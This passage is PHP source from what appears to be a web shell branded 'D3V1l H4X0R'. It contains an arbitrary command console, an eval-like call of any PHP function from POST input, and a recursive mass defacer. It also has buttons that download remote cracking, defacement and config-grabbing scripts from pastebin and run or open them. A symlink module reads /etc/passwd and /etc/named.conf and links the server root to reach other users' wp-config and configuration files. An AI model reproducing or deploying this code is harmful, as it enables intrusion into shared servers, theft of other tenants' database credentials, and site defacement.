 \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
 \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
$files[] = array_merge($tmp, array(\'type\' => \'file\'));
elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
$links[] = array_merge($tmp, array(\'type\' => \'link\'));
elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
}
$GLOBALS[\'sort\'] = $sort;
function cmp($a, $b) {
if($GLOBALS[\'sort\'][0] != \'size\')
return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1);
else
return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
}
usort($files, "cmp");
usort($dirs, "cmp");
usort($links, "cmp");
$files = array_merge($dirs, $links, $files);
$l = 0;
foreach($files as $f) {
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
$l = $l?0:1;
}
echo \'<tr><td colspan=5>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>\';
if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){echo \'<option value=\'paste\'>Paste</option>\'; }
echo \'</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\'\'.htmlspecialchars($GLOBALS[\'cwd\']).\'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
</form></table></div>\';
printFooter();
}
function actionStringTools() {
if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
if(isset($_POST[\'ajax\'])) {
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
ob_start();
if(function_exists($_POST[\'p1\']))
echo $_POST[\'p1\']($_POST[\'p2\']);
$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
echo \'<h1>String conversions</h1><div class=content>\';
$stringTools = array(
\'Base64 encode\' => \'base64_encode\',
\'Base64 decode\' => \'base64_decode\',
\'Url encode\' => \'urlencode\',
\'Url decode\' => \'urldecode\',
\'Full urlencode\' => \'full_urlencode\',
\'md5 hash\' => \'md5\',
\'sha1 hash\' => \'sha1\',
\'crypt\' => \'crypt\',
\'CRC32\' => \'crc32\',
\'ASCII to HEX\' => \'ascii2hex\',
\'HEX to ASCII\' => \'hex2ascii\',
\'HEX to DEC\' => \'hexdec\',
\'HEX to BIN\' => \'hex2bin\',
\'DEC to HEX\' => \'dechex\',
\'DEC to BIN\' => \'decbin\',
\'BIN to HEX\' => \'bin2hex\',
\'BIN to DEC\' => \'bindec\',
\'String to lower case\' => \'strtolower\',
\'String to upper case\' => \'strtoupper\',
\'Htmlspecialchars\' => \'htmlspecialchars\',
\'String length\' => \'strlen\',
);
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
foreach($stringTools as $k => $v)
echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".htmlspecialchars(@$_POST[\'p2\'])."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
if(!empty($_POST[\'p1\'])) {
if(function_exists($_POST[\'p1\']))
echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
}
echo"</pre></div>";
printFooter();
}
function actionFilesTools() {
if( isset($_POST[\'p1\']) )
$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
if(@$_POST[\'p2\']==\'download\') {
if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST[\'p1\']);
header("Content-Type: ".$type);
}
$fp = @fopen($_POST[\'p1\'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
} elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
}
exit;
}
if( @$_POST[\'p2\'] == \'mkfile\' ) {
if(!file_exists($_POST[\'p1\'])) {
$fp = @fopen($_POST[\'p1\'], \'w\');
if($fp) {
$_POST[\'p2\'] = "edit";
fclose($fp);
}
}
}
printHeader();
echo \'<h1>File tools</h1><div class=content>\';
if( !file_exists(@$_POST[\'p1\']) ) {
echo \'File not exists\';
printFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
$gid = @posix_getgrgid(@fileowner($_POST[\'p1\']));
echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
if( empty($_POST[\'p2\']) )
$_POST[\'p2\'] = \'view\';
if( is_file($_POST[\'p1\']) )
$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
else
$m = array(\'Chmod\', \'Rename\', \'Touch\');
foreach($m as $v)
echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
echo \'<br><br>\';
switch($_POST[\'p2\']) {
case \'view\':
echo \'<pre class=ml1>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</pre>\';
break;
case \'highlight\':
if( is_readable($_POST[\'p1\']) ) {
echo \'<div class=ml1 style="background-color: black;color:black;">\';
$code = highlight_file($_POST[\'p1\'],true);
echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
}
break;
case \'chmod\':
if( !empty($_POST[\'p3\']) ) {
$perms = 0;
for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
if(!@chmod($_POST[\'p1\'], $perms))
echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
else
die(\'<script>g(null,null,null,null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
break;
case \'edit\':
if( !is_writable($_POST[\'p1\'])) {
echo \'File isn\'t writeable\';
break;
}
if( !empty($_POST[\'p3\']) ) {
@file_put_contents($_POST[\'p1\'],$_POST[\'p3\']);
echo \'Saved!<br><script>document.mf.p3.value="";</script>\';
}
echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</textarea><input type=submit value=">>"></form>\';
break;
case \'hexdump\':
$c = @file_get_contents($_POST[\'p1\']);
$n = 0;
$h = array(\'00000000<br>\',\'\',\'\');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch ( ord($c[$i]) ) {
case 0:$h[2] .= \' \'; break;
case 9:$h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
$h[1] .= \'<br>\';
$h[2] .= "
";
}
 }
echo \'<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#red><pre>\'.$h[1].\'</pre></td><td bgcolor=#red><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
break;
case \'rename\':
if( !empty($_POST[\'p3\']) ) {
if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
echo \'Can\'t rename!<br><script>document.mf.p3.value="";</script>\';
else
die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
break;
case \'touch\':
if( !empty($_POST[\'p3\']) ) {
$time = strtotime($_POST[\'p3\']);
if($time) {
if(@touch($_POST[\'p1\'],$time,$time))
die(\'<script>g(null,null,null,null,"")</script>\');
else {
echo \'Fail!<script>document.mf.p3.value="";</script>\';
}
} else echo \'Bad time format!<script>document.mf.p3.value="";</script>\';
}
echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
break;
case \'mkfile\':
break;
}
echo \'</div>\';
printFooter();
}
function actionDefacer() {
printHeader();
echo "<h1>Recursive Mass Defacer</h1><div class=content>";
?>
<form ENCTYPE="multipart/form-data" action="<?$_SERVER[\'PHP_SELF\']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
<br>file name : <input type=text name=file size=20 value="index.php">
<br>Text Content : <input type=text name=Contents size=20 value="Hacked by D3V1l H4X0R"> 
<br><input type=submit value="Update"></p></form>
<?php
if ($_POST[\'a\'] == \'Defacer\') {
$mainpath = $_POST[p1];
$file = $_POST[p2];
$txtContents = $_POST[p3];
echo "-----------------------------------------------<br>
[+] Recursive Mass defacer<br>
-----------------------------------------------<br><br> ";
$dir = opendir($mainpath);
while ($row = readdir($dir)) {
$start = @fopen("$row/$file", "w+");
$code = $txtContents;
$finish = @fwrite($start, $code);
if ($finish) {
echo "http://$row/$file<br>";
}
if (strncasecmp(PHP_OS, \'WIN\', 3) == 0) {
exec("for /r %cd% %i in (.) do @copy $file %i 1>NUL");
} else {
system("find $PWM -type d -exec cp $file {} \;");
}
}
echo "-----------------------------------------------<br><br>[+] Script By D3V1l H4X0R [+]";
}
echo \'</div>\';
printFooter();
}
function actionConsole() {
if(isset($_POST[\'ajax\'])) {
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
ob_start();
echo "document.cf.cmd.value=\'\';
";
$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"

	\\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match)){
if(@chdir($match[1])) {
$GLOBALS[\'cwd\'] = @getcwd();
echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';";
}
}
echo "document.cf.output.value+=\'".$temp."\';";
echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
echo \'<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push("");
cur = cmds.length-1;
}
</script>\';
echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>\';
foreach($GLOBALS[\'aliases\'] as $n => $v) {
if($v == \'\') {
echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
continue;
}
echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>\';
if(!empty($_POST[\'p1\'])) {
echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
}
echo \'</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">\';
echo \'</form></div><script>document.cf.cmd.focus();</script>\';
printFooter();
}
function actionLogout() {
unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
echo \'<title>Get out Now</title><body bgcolor=#000000><center><img src="https://thehackpostcom-none1405869639.netdna-ssl.com/wp-content/uploads/2017/02/pcs.jpg"><br>
<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
<span style="color:red;font: 20pt audiowide;">Your are out now :D<br>www.facebook.com/D3Vil.H4X0R</h2></span></center></body>\';
}
///my editing start here for tools
function download_remote_file($file_url, $save_to)
{
$content = file_get_contents($file_url);
file_put_contents($save_to, $content);
}
if (isset($_POST[\'cp\'])) {
download_remote_file(\'http://pastebin.com/raw/puVJW5f1\', realpath("./") . \'/cp.php\');
header("location:cp.php");
} 
if (isset($_POST[\'whm\'])) {
download_remote_file(\'http://pastebin.com/raw.php?i=XJBp7M14\', realpath("./") . \'/whm.php\');
header("location:whm.php");
}
if (isset($_POST[\'mass\'])) {
download_remote_file(\'http://pastebin.com/raw.php?i=tqKszRNX\', realpath("./") . \'/wp-defacer.php\');
header("location:wp-defacer.php");
}
if (isset($_POST[\'SymlinkbyD3V1l\'])) {
download_remote_file(\'http://pastebin.com/raw.php?i=demE7BAN\', realpath("./") . \'/sym.py\');
$url = \'http://\' . $_SERVER[\'SERVER_NAME\'] . dirname($_SERVER[\'SCRIPT_NAME\']) . \'/DevilHaxor/\';
header(\'location: \'.$url);
system(\'python sym.py\');
}
if (isset($_POST[\'wp\'])) {
download_remote_file(\'http://pastebin.com/raw/3b8RGUwP\', realpath("./") . \'/wpmass.php\');
header("location:wpmass.php");
}
if (isset($_POST[\'dbkiss\'])) {
download_remote_file(\'http://pastebin.com/raw/d9Pu57e9\', realpath("./") . \'/dbkiss.php\');
header("location:dbkiss.php");
}
if (isset($_POST[\'cg\'])) {
download_remote_file(\'http://pastebin.com/raw/gNV8Djiy\', realpath("./") . \'/cg.php\');
header("location:cg.php");
}
if (isset($_POST[\'zone-h\'])) {
download_remote_file(\'http://pastebin.com/raw/peMwJXDX\', realpath("./") . \'/zone.php\');
header("location:zone.php");
}
if (isset($_POST[\'404-shell\'])) {
download_remote_file(\'http://pastebin.com/raw/ttvwZd1i\', realpath("./") . \'/404.php\');
header("location:404.php");
}
function actionImportScripts() {
printHeader();
echo \'<table border="1px" align="center" id ="D3V1ltools" cellpadding="10" border-color"green"><tr><td>Just click and get the Script :).</td><tr><td>
<form action ="" method="post">
<input type = "submit" name="cp" value ="Cpanel Cracker"></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyD3V1l"value ="Symlink Python Script By D3V1l H4X0R"></a></td></tr>\';
echo \'<td><form action ="" method="post"><input type = "submit" name="whm" value ="WHM cracker"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="wp" value ="Wordpress Mass Password Changer"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="mass" value ="Wordpress Mass Defacer"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="dbkiss"value ="DBkiss"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="cg"value ="Config Grabber"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="zone-h"value ="Zone H Mass Notifier"></a></td></tr>\';
echo \'<tr><td><form action ="" method="post"><input type = "submit" name="404-shell"value ="404 Shell"></a></td></tr>\';
printFooter();
}
function actionShared() {
printHeader();
$file = @implode(@file("/etc/named.conf"));
if (!$file) {
die("# can\'t ReaD -> [ /etc/named.conf ]");
}
preg_match_all("#named/(.*?).db#", $file, $r);
$domains = array_unique($r[1]);
{
foreach ($domains as $domain) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
$array= "http://$domain " . $user[\'name\'] . "<br>";
$lol= \'\' . get_current_user();
if (strpos($array, "$lol") !== false) {
$shared = str_replace(array(" $lol"), "", $array);
echo "<center>$shared";
}
}
}
printFooter();
}
function actionSymlink() {
printHeader();
echo \'<h1>Symlink</h1>\';
$furl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$expld = explode(\'/\',$furl );
$burl =str_replace(end($expld),\'\',$furl);
echo \'<div class="content"><center>
<h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] - 
[ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] - 
[ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>\';
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ 
echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
} else {
echo "<table align=center class=\'main\' border=0 ><tr><th> Domains </th></tr>";
$unk = array();
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$unk[] = $domains[1][0];
flush();
}
}
}
$count=1;
$unk = array_unique($unk);
$l=0;
foreach($unk as $d){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
echo "<tr".($l?\' class=l1\':\'\')."><td><a href=http://".$d."/>".$d."</a></td><td>".$user[\'name\']."</td></tr>";
flush();
$count++;
$l=$l?0:1;
}
echo "</table>";
}
echo "</center>"; 
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'whole\')
{
echo "<center>";
@mkdir(\'PCS_sym\',0777);
$hdt= "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp =@fopen (\'PCS_sym/.htaccess\',\'w\');
fwrite($hfp ,$hdt);
if(function_exists(\'symlink\')) {
@symlink(\'/\',\'PCS_sym/root\');
}
$d0mains = @file(\'/etc/named.conf\');
if(!$d0mains) {
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$dt = file(\'/etc/passwd\');
$l=0;
foreach($dt as $d) {
$r = explode(\':\',$d);
if(strpos($r[5],\'home\')) {
echo "<tr".($l?\' class=l1\':\'\')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href=\'PCS_sym/root".$r[5]."/public_html\' target=\'_blank\'>symlink</a></td></tr>";
$l=$l?0:1;
$j++;
}
}
echo \'</table>\';
} else {
echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$count=1;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi(\'zone\',$d0main)){
preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
$usr[] = $infos[\'name\'];
$dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file(\'/etc/passwd\');
$passwd = array();
foreach($dt as $d) {
$r = explode(\':\',$d);
if(strpos($r[5],\'home\')) {
$passwd[$r[0]] = $r[5];
}
}
$l=0;
$j=1;
foreach($usr as $r) {
echo "<tr".($l?\' class=l1\':\'\')."><td>".$count++."</td>
<td><a target=\'_blank\' href=http://".$dmn[$j-1].\'/>\'.$dmn[$j-1].\' </a></td>
<td>\'.$r."</td>
<td><a href=\'PCS_sym/root".$passwd[$r]."/public_html\' target=\'_blank\'>symlink</a></td></tr>";
flush();
$l=$l?0:1;
$j++;
}
echo \'</table>\';
}
echo "</center>";
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'config\')
{
echo "<center>";
@mkdir(\'PCS_sym\',0777);
$hdt = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$hfp = @fopen (\'PCS_sym/.htaccess\',\'w\');
@fwrite($hfp ,$hdt);
if(function_exists(\'symlink\')) {
@symlink(\'/\',\'PCS_sym_sym/root\');
}
$d0mains=@file(\'/etc/named.conf\');
if(!$d0mains) {
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}else {
echo "<table align=\'center\' width=\'40%\' class=\'main\' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
$count = 1;
$l=0;
foreach($d0mains as $d0main){
if(@eregi(\'zone\',$d0main)){
preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0]))>2){
$user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain[1][0]));
$c1 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/wp-config.php\';
$ch01 = get_headers($c1);
$cf01 = $ch01[0];
$c2 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/blog/wp-config.php\';
$ch02 = get_headers($c2);
$cf02 = $ch02[0];
$c3 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/configuration.php\';
$ch03 = get_headers($c3);
$cf03 = $ch03[0];
$c4 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/joomla/configuration.php\';
$ch04 = get_headers($c4);
$cf04 = $ch04[0];
$c5 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/includes/config.php\';
$ch05 = get_headers($c5);
$cf05 = $ch05[0];
$c6 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/vb/includes/config.php\';
$ch06 = get_headers($c6);
$cf06 = $ch06[0];
$c7 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/forum/includes/config.php\';
$ch07 = get_headers($c7);
$cf07 = $ch07[0];
$c8 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'public_html/clients/configuration.php\';
$ch08 = get_headers($c8);
$cf08 = $ch08[0];
$c9 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/support/configuration.php\';
$ch09 = get_headers($c9);
$cf09 = $ch09[0];
$c10 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
$ch10 = get_headers($c10);
$cf10 = $ch10[0];
$c11 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/submitticket.php\';
$ch11 = get_headers($c11);
$cf11 = $ch11[0];
$c12 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
$ch12 = get_headers($c12);
$cf12 = $ch12[0];
$c13 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/includes/configure.php\';
$ch13 = get_headers($c13);
$cf13 = $ch13[0];
$c14 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/include/app_config.php\';
$ch14 = get_headers($c14);
$cf14 = $ch14[0];
$c15 = $burl.\'/PCS_sym/root/home/\'.$user[\'name\'].\'/public_html/sites/default/settings.php\';
$ch15 = get_headers($c15);
$cf15 = $ch15[0];
$out = \'&nbsp;\';
if(strpos($cf01,\'200\') == true){ $out = "<a href=\'".$c1."\' target=\'_blank\'>Wordpress</a>"; } 
elseif(strpos($cf02,\'200\') == true){ $out = "<a href=\'".$c2."\' target=\'_blank\'>Wordpress</a>"; }
elseif(strpos($cf03,\'200\') == true && strpos($cf11,\'200\') == true) { $out = " <a href=\'".$c11."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf09,\'200\') == true){ $out = " <a href=\'".$c9."\' target=\'_blank\'>WHMCS</a>";}
elseif(strpos($cf10,\'200\') == true){ $out = " <a href=\'".$c10."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf03,\'200\') == true){ $out = " <a href=\'".$c3."\' target=\'_blank\'>Joomla</a>"; }
elseif(strpos($cf04,\'200\') == true){ $out = " <a href=\'".$c4."\' target=\'_blank\'>Joomla</a>"; }
elseif(strpos($cf05,\'200\') == true){ $out = " <a href=\'".$c5."\' target=\'_blank\'>vBulletin</a>";}
elseif(strpos($cf06,\'200\') == true){ $out = " <a href=\'".$c6."\' target=\'_blank\'>vBulletin</a>";}
elseif(strpos($cf07,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>vBulletin</a>";}
elseif(strpos($cf08,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";}
elseif(strpos($cf12,\'200\') == true){ $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";}
